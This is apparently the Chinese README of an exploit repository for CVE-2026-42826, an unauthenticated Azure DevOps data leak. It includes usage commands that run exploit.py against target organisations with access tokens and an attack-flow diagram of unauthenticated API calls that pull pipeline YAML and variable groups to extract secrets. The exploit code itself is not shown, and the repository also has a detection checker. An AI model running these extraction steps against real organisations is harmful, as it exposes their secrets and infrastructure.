利用 CVE-2026-42826,通过未认证的 REST API 请求枚举并提取敏感的 Azure DevOps 数据:管道 YAML、变量组、服务连接和构建日志。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 严重(Microsoft)/ 7.5 高危(NVD) |
| CWE | CWE-200(向未授权行为者暴露敏感信息) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| 受影响 | Azure DevOps Services、Azure DevOps Server 2022/2025 |
| 已修补 | Azure DevOps Server 2026.0.1+(Services 已在服务端修补) |
| 发现者 | Noa Royzman(Microsoft) |
Azure DevOps 在某些条件下,可以将管道配置、变量组内容和构建工件提供给未认证的 HTTP 请求。远程攻击者向 Azure DevOps REST API 发送精心构造的请求,即可收到包含以下内容的 JSON 响应:
当目标项目配置为公开可见,或某个内部 API 端点在返回数据之前未强制实施身份验证检查时,无需任何凭据。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 严重
启用了公共项目的组织会将仓库、管道、工件和工作项暴露给未认证的互联网。
特定的内部 API 端点在返回敏感数据之前未能强制实施身份验证检查。
公共项目的管道 YAML 文件按名称引用服务连接和变量组,从而泄露 Azure 订阅结构、部署目标、注册表 URL 和环境名称。
服务连接元数据(Azure 订阅 ID、租户 ID、Kubernetes 集群 ID)通过 API 暴露。
非机密变量值在 UI 中可见、通过 API 返回,并打印到构建日志中。
构建日志可能包含敏感的配置数据、环境变量和基础设施详细信息。
| 文件 | 用途 |
|---|---|
exploit.py | 主漏洞利用程序 — 6 个攻击向量、机密扫描、报告生成 |
detect.py | 针对 Azure DevOps 实例的检测与加固检查器 |
test_exploit.py | 单元测试(30+ 项测试,验证所有漏洞利用功能) |
| 文档 | 内容 |
|---|---|
| USAGE.md | 详细的使用指南,包含分步说明 |
| DIAGRAM.md | 结构图和攻击流程可视化 |
# 检查组织是否含有公开暴露的项目
python3 exploit.py -u https://dev.azure.com/targetorg
# 使用个人访问令牌进行完整漏洞利用
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# 针对特定项目
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# 将报告保存到文件
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
完整的架构图参见 DIAGRAM.md。
Code (Read),有效期 90 天MIT